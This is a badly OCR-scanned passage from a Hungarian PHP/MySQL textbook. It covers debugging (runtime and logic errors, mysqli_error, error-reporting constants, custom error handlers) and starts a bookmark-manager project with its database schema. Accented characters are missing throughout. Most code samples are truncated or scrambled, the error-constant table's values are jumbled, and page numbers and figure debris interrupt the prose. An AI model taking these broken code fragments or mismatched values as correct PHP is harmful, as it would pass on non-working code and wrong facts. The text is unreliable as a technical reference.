Figyelmeztets: Nem megfelel /home/book/public_html/php es_mysql/26_fejezet/error.php fjl l.
4)
382
26. fejezet
strstr();
?>
Azt a taln ritka esetet leszmtva, amikor a $var vltoz rtke 4, a strstr () fuggvny nem lesz meghvva, gy figyel meztetst sem kapunk. A PHP rtelmez nem vesztegeti az idejt a kd aktulis futtatshoz nem szksges kdrszek rtel mezsre. Pontosan az ilyen esetek miatt kell gondoskodnunk az alapos tesztelsrl! A fuggvnyeket igen knny hibsan meghvni, de mivel az ekkor kapott hibazenetek egyrtelmen beazonostjk a probl mt okoz sort s fuggvnyhvst, ugyanilyen knnyedn orvosolhatjuk is a hibt. Kizrlag abban az esetben okoz nehzsget a hiba megrallsa, ha elgrelen volt a tesztels, nem teszteltk az sszes, felttelesen vgrehajtand kdot. A tesztels egyik clja minden egyes kdsor legalbb egyszeri futtatsa kell, hogy legyen. Msik clunk pedig a beviteli adatok minden peremfel ttelnek s tpusnak tesztelse legyen!
hamis visz
mysqli_connect()
[function.mysqli-connect]: YES)
Access denied
Figyelmeztets:
mysqli_connect()
[function.mysqli-connect]:
Nem sikerlt
kapcsoldni a MySQL szerverhez a 'localhost' gpen (10061) Figyelmeztets: mysqli_connect() [function.mysqli-connect]: Ismeretlen MySQL szerverhoszt 'hostname' (11001) Figyelmeztets: mysql connect() [function.mysqli-connect]: IGEN) Hozzfrs megtagadva a 'username'@'localhost' felhasznlnak ( Jelszhasznlat:
Nem meglep mdon a mysqli_connect() is false visszatrsi rtkkel jelzi a hiba elfordulst. Ez azt jelenti, hogy egyszeren szlelhetjk s kezelhetjk az ilyen dpus, gyakori hibkat. Ha nem szakrjuk meg a kd normlis futst, s nem kezeljk ezeket a hibkat, kdunk tovbbra is megprbl dolgozni az adatbzissal. Ha mkd MySQL kapcsolat nlkl prblunk meg lekrdezseket futtatni s eredmnyekhez hozz:ijutni, lto gatink hibazenetekkel teli kpernyt fognak ltni, ami vlheten nem oldalunk professzionlis voltt ersti bennk. Sok ms, gyakran hasznlt, MySQL-lel kapcsolatos PHP fuggvny, gy a tbbi kztt a mysqli_query() is false visz szarrsi rtkkel jelzi a hibt. Ha hiba trtnik, a hibazenet szveghez a mysqli_error() fuggvnnyel frnk hozz, a mysqli_errno() fuggvny pedig a hibakdot adja vissza. Amennyiben az utoljra hasznlt MySQL fuggvny nem okozott hibt, a mysqli _error () res karakterlncot, a mysql i_errno() pedig O-t ad vissza. Tegyk fel pldul, hogy kapcsoldrunk a kiszolglhoz, s kivlasztottuk a hasznlni kivnt adatbzist! Ekkor kdtredk:
az
albbi
Hibakeress
383
$eredmeny
mysqli_query($adatbazis,
'SELECT
FROM nem_letezik);
/>';
echo mysqli_error($adatbazis);
E kt fggvny kimenere a mysqli_error() s a mysqli_errno() fggvnytl eltr, utoljra lefutott MySQL fgg vnyre utal. Ha parancs eredmnyrl szeretnnk meggyzdni, a tovbbi utastsok futtatsa eltt ne felejtsk ellenrizni azt! A fjlkezelsi hibkhoz hasonlan adatbzis-kezelsi hibk is el fognak fordulni. Alkalmanknt a szolgltats fejlesztsnek s tesztelsnek befejezse utn is azt tapasztaljuk, hogy a MySQL dmon (mysqld ) sszeomlott, vagy elfogytak a szabad kapcsolatok. Amennyiben adatbzisunk fizikailag msik gpen fut, megintcsak olyan hardver- s szoftverkomponensekre vagyunk knytelenek tmaszkodni, amelyek tnkremehetnek - mg egy hlzati kapcsolat, hlzati krtya, routerek stb. kelle nek, hogy mkdjn a kapcsolat a webszervernk s az adatbzist futtat gp kztt. Nem szabad elfeledkezni arrl, hogy rnieltt felhasznlnnk az adatbziskrsek eredmnyt, ellenrizzk, hogy egyltaln sikeresen vgrehajtdrak-e ezek a krsek. Nincs rtelme megprblni lefuttatni egy lekrdezst, ha nem sikerlt csatlakozni az adatbzishoz, s nincs rtelme megprblni feldolgozni a lekrdezs eredmnyeit, ha maga a lekrdezs nem sikerlt. Fontos itt megemlteni a klnbsget a sikertelen lekrdezs s az eredmnytelen lekrdezs kztt. Az utbbi egyszeren semmilyen adatot nem ad vissza, vagy egyetlen sort sem mdost. Az olyan SQL lekrdezs, amely SQL szintaktikai hibkat tartalmaz, vagy nem ltez adatbzisokra, tblkra vagy oszlo pokra hivatkozik, nem fog mkdni. A
SELECT
*
FROM nem_letezik;
azrt nem fog sikerlni, mert az adott nev tbla nem ltezik, s a mysqli_errno() s a mysqli_error () fggvnnyel visszakereshet hibakdot s hibazenet fog generlni. A szintakrikailag hibtlan s csak ltez adatbzisokra, tblkra s oszlopokra hivatkoz SQL lekrdezs ltalban sikeresen lefut. Elfordulhat azonban, hogy nem ad vissza eredmnyt, pldul, ha res tblt krdeznk le, vagy nem ltez adarot kere snk. Amennyiben sikeresen kapcsoldrunk egy adatbzishoz, amelynek ltezik t l tblja s cl nev oszlopa, a
SELECT
*
FROM tl
WHERE cl
lekrdezs sikeresen lefut ugyan, de semmilyen eredmnyt nem ad vissza. Mieltt dolgozni kezdennk a lekrdezs eredmnyvel, a lekrdezs sikeressgt s eredmnyessgt egyarnt ellenriz nnk kell.
5000 );
figyelmeztetst eredmnyez, ha a fggvnynek nem sikerl csatlakozni a localhost nev gp 5000-es portjhoz, de az ze netet csak alaprtelmezett formjban jelenti meg. nem ad lehetsget kdunknak, hogy elegnsabban kezeljk a hibt. Ha a fggvny meghvst a kvetkezkppen rjuk t:
$sp @fsockopen ('localhost',
26
5000,
&$hibakod,
&$hibaszoveg );
akkor elnyomjuk a beptett hibazenetet, a visszatrsi rtket ellenrizve ltjuk, hogy trtnt-e hiba, majd sajt kdunkat hasznlva kezeljk a hibt. Az gy megrt kd a problma megoldst segt hibazenetet eredmnyez. Ebben a pldban a k vetkez zenetet ltnnk megjelenni:
384
26.
fejezer
ERROR:
10035:
could not be
completed immediately.
azaz
HIBA:
10035:
Egy nem blokkol sacket miatt a mvelet nem hajthat vgre azonnal.
A futsidej hibkat nehezebb kikszblni, mint a szintaktikaiakat, mert az rtelmez nem kpes a hibkat a kd els futtatsakor jelezni. Mivel a futsidej hibkat esemnyek valamilyen kombincija vltja ki, szlelni s megoldani is bonyolult lehet ket. Az rtelmez nem tudja automatikusan megmondani, hogy egy adott sor hibt fog generlni. Ehhez tesztelskor szimullnunk kell a hibt kivlt szirucir. A futsidej hibk kezelse bizonyos mrrk elreltst ignyel: fel kell kszlni az esetlegesen elfordul hibarpusokra, majd meg kell tenni az azoknak megfelel lpseket. Gondos tesztelsre van szksg ahhoz is, hogy a futsidej hibk minden lehetsges tpust szimulljuk. Ez egyltaln nem azt jelenti, hogy tesztelskor minden elkpzelhet hibt el kell lltanunk. A MySQL pldul krlbell 200 klnbz hibakddal s hibazenettel rendelkezik. A j esllyel hibt kivlt fggvnyhvsoknl kell szimullnunk a k ln kdbiokkal kezelni kvnt hibatpusokat.
Gyakran lnk felttelezsekkel a felhasznlk ltal megadott beviteli adatokkal kapcsolatban. Ha egy adat valamirt nincs sszhangban azzal, amire szmtottunk, hiba trtnhet, ami lehet futsidej vagy logikai hiba (errl az utbbi kategrirl a kvetkez rszben esik majd sz). A futsidej hiba klasszikus pldja akkor kvetkezik be, amikor felhasznl ltal bevitt adatokkal dolgozunk, de elfelejtjk alkalmazni rjuk az addslashes ( ) fggvnyt. Ez azt jelenti, hogy ha az egyik felhasznlnknak aposztrfot tartalmaz neve van, pldul O'Gradynek hvjk, akkor az adatbzisfggvnytl hibazenetet kapunk, amikor beszrsi utastsban egyszeres idzjelek kztt hasznljuk a felhasznl ltal megadott nevet. A beviteli adarokkal kapcsolatos felttelezseink miatti hibkat a kvetkez rszben rszletesebben is bemutatj uk.
Logikai hibk
A logikai a legnehezebben kereshet s kikszblhet hibatpus. Ilyen tpus hibk akkor kvetkeznek be, amikor a tklete sen helyes kd pontosan azt teszi, amire utastottk, m a programoznak mgsem ez volt a szndka. A logikai hibt okozhatja egyszer elgpels, mint pldul a kvetkez kdban:
for ($i =
echo
26
Ez a kdtredk teljesen szablyos, minden sorban megfelel a PHP szintakrikai szablyainak. Futtatshoz nincs szksg kls szolgltatsokra, gy nem valszn, hogy futsidej problmba tkznnk. Csak nagyon les szemmel lehet szrevenni, hogy ez a kd nem azt teszi, amit rnzsre gondolnnk, s amit a programoz szererett volna elrni. gy tnik, hogy a kd tzszer vgigmegy a for cikluson, s minden egyes alkalommal kirja a"valami t csinl" szve get. Az els sor vghez hozzadott, oda nem val pontosvessz miatt azonban a ciklusnak nincsen hatsa a kvetkez sorokra. A for ciklus minden eredmny nlkl tzszer lefut, majd egyszer vgrehajtdik az echo utasts. Mivel a kdtredk teljesen szablyos, s hibt nem tartalmaz, az rtelmez nem fog reklamlni, hogy a for ciklus ilyen alkalmazsnak semmi rtelme sincsen. Bizonyos feladatokra nagyon jk a szmitgpek, jzan eszk s intelligencijuk azonban nincsen. A komputer pontosan azt teszi, amit mondanak neki. A mi gondunk az, hogy pontosan azt mondjuk, amit valban szeretnnk. A logika hibkat nem a kd valamilyen kudarca okozza, hanem egyszeren a programoznak nem sikerl megrnia a sz mtgpet utast kdot gy, hogy a gp pontosan azt tegye, amit elvr tle. Ebbl kvetkezik, hogy az ilyen hibkat nem lehet automatikusan szlelni. Senki nem kzli velnk, hogy hiba trtnt, s senki monclja meg, hogy melyik sorban keressk a prob lmt. A logikai hibkar csak megfelel tesztelssei lehet kiszrni. Az elz trivilis pldhoz hasonl logikai hiba viszonylag knnyen elkvethet, ugyanakkor kijavtani sem sokkal nehezebb, mert kdunk els futtatsakor a vrtrl eltr kimenetet fogunk ltni. A logika hibk tbbsge ennl valamivel alattomosabb. Az igazn problms logikai hibk ltalban a fejleszrk hibsnak bizonyul felttelezseibl kvetkeznek. Az elz, A PHP s MySQL hasznlata nagyobb projektekben cm fejezetben azt ajnlottuk, hogy ms fejlesztket bevonva nzessk r kdun kat, s krjk javaslatukat tovbbi tesztesetekre, illetve fejlesztk helyett a clkznsgbl krjnk fel tesztelket. Knnyen
Hibakeress
385
gondolhatjuk azt, hogy az emberek csak bizonyos tpus adatokat fognak berni, s ha mi magunk vgezzk a tesztelse, akkor ezt a hibt taln soha nem fedezzk fel. Tegyk fel, hogy egy zleti oldalon lv szvegdobozba a rendelsi mennyisget rhatja be a felhasznl! Felttelezzk, hogy
az
emberek csak pozitv rtkeket rhatnak be? Ha egy ltogat -10-et r be, akkor szaftvernk jvrja bankszmljn a szban Tegyk fel, hogy egy szvegdobozba egy dollrban kifejezett sszeget vrunk a ltogatktl! Dollrjellel vagy anlkl vrjuk
forg rucikk rtknek rzszerest? tlk az sszeget? Az ezresek utn kell vajon vesszt rniuk? Az ilyen dolgok rszben a kliensoldalon is ellenrizhetk (pldul JavaScript segtsgve!), hogy ezltal valamelyest cskkentsk szervernk terhelst. Amennyiben informcit kvnunk tadni egy msik oldalnak, esznkbe jut vajon, hogy egyes karakterekre, pldul az tad ni kvnt karakterlncban lv szkzre kln figyelni kell az URL-ben? A logikai hibk szma szinte vgtelen, s ellenrzskre - sajnos - nem ltezik automatizlt mdszer. Az egyetlen megolds, hogy elszr is megprbljuk kikszblni a programba kdolt - hibs - felttelezseinket, msodsorban pedig alaposan tesz telnk mindenfle rvnyes s nem rvnyes inputtal, s gondoskodunk arrl, hogy minden esetben a vrt eredmnyt kapjuk.
a hibakeresst
<?php
ll ezek a sorok HTML megjegyzsknt formzzk a kimenetet ll s ismtlden meghvjk a tomb_kiiratasa fggvnyt (ennek
echo "\n<!-- VLTOZ-KIRATS INDUL -->\n\n";
-->\n";
-->\n";
echo "<!-- SESSION VLTOZK -->\n"; echo "<!-- ".tomb_kiiratasa($ SESSION) ." -->\n";
echo "<!-- COOIE VLTOZK -->\n"; echo "<!-- ".tomb_kiiratasa($ COOKIE)." -->\n";
26
if(is_array($tomb))
$meret
count($tomb);
386
26. fejezet
";
$string .=$var."
".$ertek;
$string
.=
"
) ";
l
egyszeren trjen vele vissza!
ll ha nem tmb,
return $tomb;
?>
A fenti kd
az
oldalnak radott vltozk ngy tmbjt jelenti meg. Ha az oldalt GET vltozkkal, POST vltozkkal,
hat oldalelemeket megjelenti. A hibakeressi informcikat ily mdon rdemes ellltani. A hibakeressi informciknak a 26.1 pldakdhoz hasonlan megjegyzsekbe rejtse lehetv teszi, hogy akr
az;
mazsunkban hagyjuk a hibakeres kdot. A tomb _ kiiratasa () fggvnyt a print_r () trdelfggvnyeknt (wrapper) hasznlruk. A tomb_kiiratasa () fggvny egyszeren vdkarakterrel ltja el a HTML megjegyzs zr karaktereit.
A konkrt kimenet az; oldalnak radott vltozktl fgg, de arnikor a 23. fejezet 23.4 pldakdjhoz hozz;adtuk,
az;
albbi
>
-->
26
[PHPSESSID]
=> b2b5f56fad986dd73af33f470f3cl865
Hibakeress
387
-->
<!--
vltozkat:
Ahogy arrl a 23. fejezetben sz volt, a PHP stik segtsgvel kapcsolja a munkamenet-vltozkat az adott fel
hasznlkhoz. A kd kirja a PHPSESSIO pszeud vleden szmot, ami a stiben, az adott felhasznl azonostsa rdekben troldik el.
Hibajelentsi szintek
A PHP-nak megszabhatjuk, mennyire legyen akadkoskod a hibkkal. Megadhatjuk, hogy milyen tpus esemnyek generl janak hibazeneteket. Alaprtelmezsben a PHP az rtestseken (notice tpus figyelmeztetseken l kvl minden hibt jelez. A hibajelentsi szintet a 26.1 tblzatban lthat, elre meghatrozott kanstansok segtsgvel llthatjuk be. 26.1 tbla:
Hibajelentsi llandk Nv
E ERROR E_WARNING E PARSE E NOTICE E CORE ERROR E CORE WARNING E-COMPILE-ERROR E-COMPILE-WARNING E USER ERROR E USER WARNING E USER NOTICE E ALL
rtk
l 2 4 8 16 32 64 128 256 512 1024 6143 2048
Jelentse
Futsidben jelenti a vgzetes hibkat. Futsidben jelenti a nem vgzetes hibkat. Jelenti az rtelmezsi hibkat. Jelenti az rtestseket, amelyek kzlik, hogy valami, amit tettnk, hibs lehet. Jelenti a PHP motor indtsakor keletkez hibkat. Jelenti a PHP motor indtsakor keletkez, nem vgzetes hibkat. Jelenti a fordtskor keletkez hibkat. Jelenti a fordtskor keletkez, nem vgzetes hibkat. Jelenti a felhasznl ltal kivltott hibkat. Jelenti a felhasznl ltal kivltott figyelmeztetseket. Jelenti a felhasznl ltal kivltott rtestseket. Mindent jelent az E_STRICT szinten jelentett hibkon s figyelmeztetseken kvl. Jelenti a kifogsolt s nem ajnlott viselkedst; nincsen benne az E_ALL szint ben, de nagyon hasznos a kd-jratervezshez (code refactoring). Vltoztatsokat javasol az interoperabili ts rdekben.
E STRICT
4096
E RECOVERABLE ERROR
Mindegyik konstans jelenthet vagy figyelmen kvl hagyhat hibatpust jell. Ha pldul az E_ ERROR hibaszintet lltjuk be, a PHP csak a vgzetes hibkat fogja jelenteni. Az llandkat binris aritmetikai mveletekkel kombinlva tovbbi hibaszin teket rhetnk el. Az alaprtelmezett hibaszintet, ami az rtestsek kivtelvel minden hibt jelent, a kvetkezkppen hatrozhatjuk meg: E
ALL
&
-E NOTICE
Ez a kifejezs az elre meghatrozott llandk kzl kettt tartalmaz, s bitmveleti jelekkel kombinlja azokat. Az s jel
( & ) az S, a tilde ( - ) pedig a NEM bitmveleti jel. A kifejezs a kvetkezkppen olvasand: E_ALL
szes tbbi szintet a VAGY bitmveleti jellel
E_ERROR
S NEM E_NOTICE.
Az E_ALL nmagban is az sszes tbbi hibatpus kombincija (az E_ STRICT kivtelvel). Egyenrtk azzal, ha az sz
26
( l ) kombinljuk:
E_NOTICE
E_WARNING
E_PARSE
E_CORE ERROR
E_CORE_WARNING
E_COMPILE_ERROR
IE_COMPILE_WARNING
E_USER_ERROR
E USER_WARNING
USER NOTICE
Hasonlkppen az alaprtelmezett hibajelentsi szint is meghatrozhat, ha az E _NOTICE kivtelvel az sszes hibaszintet VAGY-gyal kombinljuk:
E_ERROR
E_WARNING
E_PARSE
E_CORE_ERROR
E_CORE_WARNING
E_COMPILE_ERROR
E COMPILE WARNING
E USER ERROR
E USER WARNING
E USER NOTICE
388
26. fejezet
-E NOTICE
Jelents az rtestsek kivtelvel rninden hibrl Hibazenetek hozzadsa a normlis kimenethez HTML-knt A hibazenetek nincsenek lemezre naplzva A hibk nem lesznek kvetve, hanem a $php_errormsg vltozban eltrolva
E_ STRICT
szintre. A mdosts azt eredmnyezi, hogy a PHP szmtalan rtestst megjelent az olyan esetekben, amelyek hibra uralhat nak, vagy egyszeren csak abbl kvetkeznek, hogy a programoz kihasznlja a PHP gyengn tpusos jellegt. Illetve azt, hogy automatikusan O rtkkel hozza ltre a vltozkat. A hibakeress idejre hasznos lehet az error_reporting szint magasabbra lltsa. Ha sajt hibazenetekkel tjkoz tatjuk a felhasznlt, akkor az lesben mkd alkalmazson kapcsoljuk ki a display_errors belltst, kapcsoljuk be a log_errors-t, a hibajelentsi szintet pedig hagyjuk magasan! Ekkor brmilyen problma esetn a hibanaplkban talljuk a rszletesen kifejtert hibkat. A hibakvetssei kapcsolaros track_ errors bellts bekapcsolsa abban nyjthat segtsget, hogy sajt kdunkban fog lalkozzunk a hibkkal, ne a PHP alaprtelmezett szolgltatsaira hagyatkozzunk. A PHP ugyan hasznos hibazeneteket ad, alaprtelmezert mkdse azonban csnyn nzhet ki, ha a dolgok elromlanak. Vgzetes hiba esetn a PHP az
<br> <b>Error Type<lb>: error message in <b>pathlfile.php<lb>
on line <b>lineNumber<lb><br>
(<b>Hiba tpusa<lb>:
hibazenet az <b>eleresi_utvonal/fajl.php</b>
szveget jelenti meg. s lelltja a kd futtatst. Nem vgzeres hibk esetn ugyanez a szveg jelenik meg. de a furtats foly tatdhat. Ez a HTML jl szrevehetv teszi a hibt, viszont nem nz ki tl meggyzen. A hibazenet stlusa a lehet legritkbb esetben illik az oldal tbbi rsznek megjelenshez. Radsul akr azt is eredmnyezheti, hogy egyes felhasznlk egyltaln nem ltnak az zenetbl semmit. Ez akkor fordulhat el, ha az oldal tartalma tblzaton bell jelenik meg. s bngszjk szigoran veszi, hogy csak szablyos HTML-t jelentsen meg. Egyes bngszk res kpernyknt jelentik meg a tblzat elemeit megnyit, de azokat be nem zr HTML-t, gy pldul a kvetkez kdot:
<table> <tr><td>
<b r>
<b>Error Type<lb>: error message in <b>path/file.php</b>
on line <b>lineNumber<lb><br>
Nem kell ragaszkodnunk a PHP alaprtelmezett hibakezelshez, s nem szksges rninden fjlhoz ugyanazokat a be
26
lltsokat hasznlni. Ha csak az aktulisan hasznlt kdban szeretnnk megvltoztaeni a hibajelentsi szintet, az error_
reporting () fggvnyt meghvva tehetjk ezt meg.
Paramterknt hibajelentsi llandr vagy azok kombincijt tadva ugyangy llthatjuk be a hibajelentsi szintet, rnint a php.ini ugyanilyen nev direktvjban. A fggvny visszatrsi rtke az elz hibajelentsi szint lesz. A fggvny hasz nlatnak gyakori mdja a kvetkez:
ll hibajelents kikapcsolsa $elozo_szint
=
error_reporting(O);
Hibakeress
389
Ez a kdrszlee kikapcsolja a hibajelentsr, gy olyan kdot is futtarharunk, amely egybknt j esllyel nem kivnt figyel meztetseker generlna a kpernyre. A hibajelents vgleges kikapcsolsa nem ajnlott, mert megnehezti a programozsi hibk felkutatsr s kijavtst.
Mivel a sa jat_hibakezelo() fggvny meghvsra utasrottuk a PHP-t, meg kell adnunk az ilyen nev fggvnyt. En nek a fggvnynek az albbi a prototpusa:
sajat_hibakezelo(int hibatipus, string hibauzenet
[,
[,
int hibas_sor
[,
array hibakornyezet]]]))
Hogy pontosan mit csinl a fggvny, az mr tlnk fgg. A kezelfggvnynek radott paramterek a kvetkezk: A hiba tpusa A hibazenet A fjl, amelyben a hiba trtnt A sor, amelyben a hiba trtnt A szimblumrbla - vagyis az sszes vltoz s azok rtke a hiba bekvetkezsnek idejben A kezelfggvny lehetsges mveletei az albbiak lehetnek: A megadon hibazenet megjelentse Informci eitraisa a naplfjlban A hiba elkldse e-mailben a megadott cmre A kd befejezse A 26.2 pldakdban hibakezelr deklarlunk, a set_error_handler () fggvnnyel belltjuk a hibakezelt, majd hibkar generlunk. 26.2 pldakd: kezelo.php-A kd egyni hibakezelt deklarl, s klnfle hibkat llt el
<?php
26
ll A hibakezel fggvny
function sajatHibaKezelo ($hlbatipus, $hlbauzenet, $hlbas_fajl, $hibas_sor) echo "<br /><table bgcolor=\"lcccccc\"><tr><td> <p><strong>HIBA:</strong> ".$hibauzenet."</p> <p>Krjk, prblja UJra, vagy lpjen velnk kapcsolatba, s tjkoztasson, hogy hiba trtnt a ".$hibas fajl." fjl .$hibas sor." sorban!"</p>";
390
26. fejezet
l l
($hibatipus == E ERROR))
bezrsa
echo
"</td></tr></table>";
ll
A hibakezel belltsa
set error_handler('sajatHibaKezelo');
//klnbz szint
trigger error('Ez a szmtgp bzs szn', include ('nofile'); trigger_error('A szmtgp ?>
E_USER_WARNING);
nmagt',
E_USER_ERROR);
A kd eredmnyt a 26.1 brn lchaguk. Ez az egyni hibakezel szinte semmivel nem tbb a PHP alaprtelmezett viselkedsnL Mivel azonban mi rtuk a kdjt, brmit beprogramozhacunk. Eldnthetjk, hogy mit mondjunk sk meg az informcit gy, hogy illeszkedjen
az az
tnjen. Folytatdjk a kd? Naplzzuk vagy megjelentsk a hibazenetet? Automatikusan riasszuk a mszaki tmogatst?
T-....'1. .
l lo'-
""--
" __
BJB.t:baW......,
"""" '
..
J J J
K)llk.
tJI
"'*"
""F
26.1 bra: Sajt hibakezel hasznlatval a PHP hibazeneteinl bartsgosabbakat adhatunk Jelhasznlinknak.
Fontos megjegyezni, hogy hibakezelnknek nem feladata mindenfle hibatpussal foglalkozni. Bizonyos hibk, gy az r telmezsi s a vgzetes futsidej hibk tovbbra is az alaprtelmezett hibakezelsi mkdst fogjk kiknyszerteni. Ha sze reennk ezt elkerlni, akkor mieltt tadnnk a paramtereket a vgzetes hibt kivltani kpes fggvnynek, gondoskodjunk alapos ellenrzskrl, s vltsuk ki sajt E_USER_ERROR szint hibnkat, ha a paramterek hibt okoznak! Vgezetl egy hasznos funkci: ha hibakezetnk explicit false rckkel tr vissza, a PHP beptett hibakezelje lesz meg
26
az
E_USER_*
Hogyan tovbb?
A Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse cm 27. fejezetben elkezdjk els projektnket. Megvizsgljuk, milyen mdszerrel azonosthag uk szabni oldalunk tartalmr.
az
Jelszavak kezelse Felhasznli preferencik feljegyzse Tartalom szemlyre szabsa Tartalom ajnlsa a felhasznlrl megszerzett informcik alapjn
A megolds alkotelemei
Projektnk sorn feladatunk egy online knyvjelzkezel rendszer prototpusnak elksztse lesz, amit nevezznk PHPbookmarknak! Alkalmazsunk hasonl lesz a http://www.backRip.com oldalon elrhet BackRiphez, termszetesen azonban annl korltozottabb funkcikat knl majd. A rendszernek lehetv kell tennie a felhasznlknak a bejelentkezst s szemlyes knyvjelzik eltrolst, majd szemlyes preferenciik alapjn ket rdekl tovbbi weboldalakat kell :Ynlania szmukra. A megolds alkotelemei hrom fbb kategriba sorolhatk: Be kell tudnunk azonostani az egyes felhasznlkat, illetve valamilyen mdszerrel hitelestennk is kell ket. El kell tudnunk trolni az egyes felhasznlk knyvjelzi t. A felhasznlknak lehetv kell tenni, hogy knyvjelzket vegyenek fel s trljenek. Az alapjn, amit mr megtudtunk a felhasznlkrl, kpesnek kell lennnk ket rdekl weboldalakat ajnlani szmukra. Most, hogy mr tisztban vagyunk a projekt lnyegvel, elkezdhetjk megtervezni a megoldst s annak alkotelemei t. Nz zk meg az elbb emltett hrom f elvrs lehetsges megoldsait!
392
27. fejezet
Ha szeremnk, hogy felhasznlink bejelenckezhessenek felhasznli nevkkel s jelszavukkal, a kvetkez alkotelemekre lesz szksgnk: A felhasznlknak lehetv kell tenni, hogy regisztrls sorn megadjk felhasznli nevket s jelszavukat. Valamilyen formban korltoznunk kell az egyes felhasznli nevek s jelszavak hosszt s formtumt. Biztonsgi okokbl titkost va kell trolnunk a jelszavakat. A felhasznlknak be kell tudniuk jelentkezni a regisztrci sorn megadott azonostkkal. Az oldal hasznlatnak befejezse utn a felhasznlknak ki kell tudniuk jelentkezni. Ennek a funkcinak nincs kl nsebb jelentsge, ha az emberek otthoni szmtgpkrl hasznljk az oldalt, tbb felhasznl ltal megosztott PC esetben azonban igen foncos szerepet jtszik biztonsgi tren. Az oldalnak el kell tudni dntenie, hogy egy adott felhasznl be van-e jelentkezve, s hozz kell frnie a bejelentkezett Felhasznlk adataihoz. A biztonsg nvelse rdekben garantlni kell a felhasznlknak a jelszavuk megvltoztatsnak lehetsgc. Lehetv kell tenni, hogy a Felhasznlk szemlyes kzremkdsnk nlkl j jelszt kaphassanak. Ezt leginkbb gy szek tk megoldani, hogy a regisztrci sorn megadott e-mail cmre elkldik a felhasznlnak a jelszt. Ebbl kvetkezik, hogy a regisztrcikor el kell trolnunk a Felhasznlk e-mail cmt. Mivel titkostott formban troljuk a jelszavakat, s az eredeti jelszavakat ebbl nem tudjuk visszalltani, lnyegben j jelszt kell generlni, belltani s elkldeni a felhasznlnak. A projekt megvalstshoz fggvnyeket fogunk rni minden egyes funkcihoz. A fggvnyek tbbsgc ms projektjeink ben is fel tudjuk majd hasznlni - igaz, ehhez esetenknt apr mdostsokra lehet majd szksg.
knyvjelzk trolsa
A Felhasznlk visszakereshetik s megtekinehetik knyvjelziket. A Felhasznlk j knyvjelzket adhatnak a meglvkhz. Az oldalnak ellenriznie kell, vajon rvnyes URL-eket adnak-e meg. A Felhasznlk trilierik knyvjelziket. Ezeket a lehetsgeket is fggvnyek megrsval fogjuk megteremteni.
A Felhasznlk knyvjelzinek is helyet kell adnunk MySQL adatbzisunkban. Az albbi funkcikat kell megvalstanunk:
Knyvjelzk ajnlsa
Tbbfle megkzeltst alkalmazhatunk arra, hogyan ajnljunk knyvjelzket a felhasznlknak. Figyelmkbe ajnlhatnnk pldul a legnpszerbb vagy egy adott tmn bell legnpszerbb oldalakat. Ebben a projektben azonban azt a megoldst vlasztj uk, hogy olyan felhasznlkat keresnk, akiknek a bejelentkezett felhasznlval egyez knyvjelzjk van, s ezeknek a felhasznlknak a tovbbi knyvjelzit ajnljuk a bejelentkezett felhasznlnak. A szemlyes jelleg knyvjelzk tovbbajn lsnak elkerlse rdekben csak olyan knyvjelzket fogunk ajnlani, amiket egynl tbb felhasznl trole el. Ezt a funkcit is fggvnyrssal fogjuk megvalstani.
A megolds ttekintse
Firklgattunk egy kicsit a szalvtnkra, gy kaptuk a 27.1 brn lthat, a projektet brzol folyamatbrt.
27
27.1 bra: A
393
Az brn lthat mindegyik tglalaphoz egy-egy modult fejleszthetnk; van kztk, amelyikhez egy, van, amelyikhez kt kdot kell rni. Az albbi terletekhez fggvnyknyvtrakat is ltrehozhatunk: Felhasznli hitelests Knyvjelzk trolsa s visszakeresse Adatellenrzs Adatbzishoz csatlakozs Kimenet megjelentse bngszben. A teljes HTML-ellltst erre a fggvnyknyvtrra korltozzuk, hogy egysges megjelentst adjunk a teljes oldalnak. (Ez a megkzelts ismt csak a mkds s a tartalom elklntst szolglja.) A rendszerhez ezen kvl mg egy olyan adatbzist is ltre kell hozni, amely az adatok feldolgozst fogja vgezni. A megoldst alkot kdokat nem teljes kren mutatjuk be, de az alkalmazs sszes kdja megcallhat
a
Fjlnv
konyvjelzok.sql bejelentkezes.php regisztracios_urlap.php regisztracio_uj.php elfelejtett_urlap.php elfelejtett_jelszo.php tag.php kj_hozzaadasa_urlap.php kj_hozzaadasa.php kj_torlese.php ajanlas.php
jelszo_valtoztatas_urlap.php
kirneneti_fuggvenyek.php konyvjelzo.gif
Legelszr is az alkalmazs MySQL adatbzist hozzuk ltre, mert erre gyakorlatilag minden ms funkci mkdshez szksg lesz. Ezt kveten abban a sorrendben haladunk a kddal, ahogy azt eredetileg megirtk, gy a nyitoldal utn kvetkezik a fel hasznli hitelests, majd a knyvjelzk trolsa s visszakeresse, s legvgl azok ajnlsa. Ez a sorrend radsul viszonylag logikus is; az egsz abbl addik, hogy vgiggondoljuk, hogyan plnek egymsra a komponensek, majd elszr azokat az ele meket hozzuk ltre, amelyekre a ksbbi medulokhoz szksg lesz.
27
394
27.fezet
Az adatbzis ltrehozsa
A PHPbookmark adatbzis igen egyszer felptssel rendelkezik. El kell trolni a felhasznlkat, illetve azok e-mail cmt s jelszavt. Trolnunk kell tovbb a knyvjelzk URL-jt.Egy felhasznlnak tbb knyvjelzje is lehet,s tbb felhasznl is elmentheti ugyanazt a knyvjelzt. Mindezek miatt kt tblra lesz szksgnk: fe lhasznalo s konyvjelzo ( 27 .2 bra).
user username laura luke passwd 7cbf26201 e73c9b 1fef10690eeb2e59 email laura@tangledweb.com.au luke@tangledweb.com.au
A felhasznala tbla a felhasznlk felhasznli nevt (ez az elsdleges kulcs),jelszavt s e-mail cmt trolja. A konyvjelz tblba felhasznli nv s knyvjelz (kj_URL) prok kerlnek. Az ebben a tblban lv felhasznli nv a felhasznal o tbla felhasznli nevre hivatkozik. Az adatbzist, illetve az adatbzishoz az internetrl csatlakoz felhasznlt ltrehoz SQL kdot a 27.1 pldakd tartal mazza. Ha sajt rendszernkn kvnjuk hasznlni,mdostanunk kell ezt a fjlt. Ne felejtsk el a felhasznl jelszavt bizton sgosabbra cserlni!
27.1 pldakd: konyjelzok. sql -A knyvjelzk adatbzist ltrehoz SQL fjl
CREATE DATABASE konyvjelzok; USE konyvjelzok;
CREATE TABLE felhasznala felhasznaloi_nev VARCHAR(16) NOT NULL PRIMARY jlsz CHAR(40) NOT NULL, email VARCHAR(100) NOT NULL ); KEY,
CREATE TABLE konyvjelzo ( felhasznaloi_nev VARCHAR(l6) NOT NULL, kj_URL VARCHAR(255) NOT NULL, INDEX (felhasznaloi_nev), INDEX (kj_URL), PRIMARY ); KEY(felhasznaloi nev, kj_URL)
GRANT SELECT,
INSERT,
UPDATE,
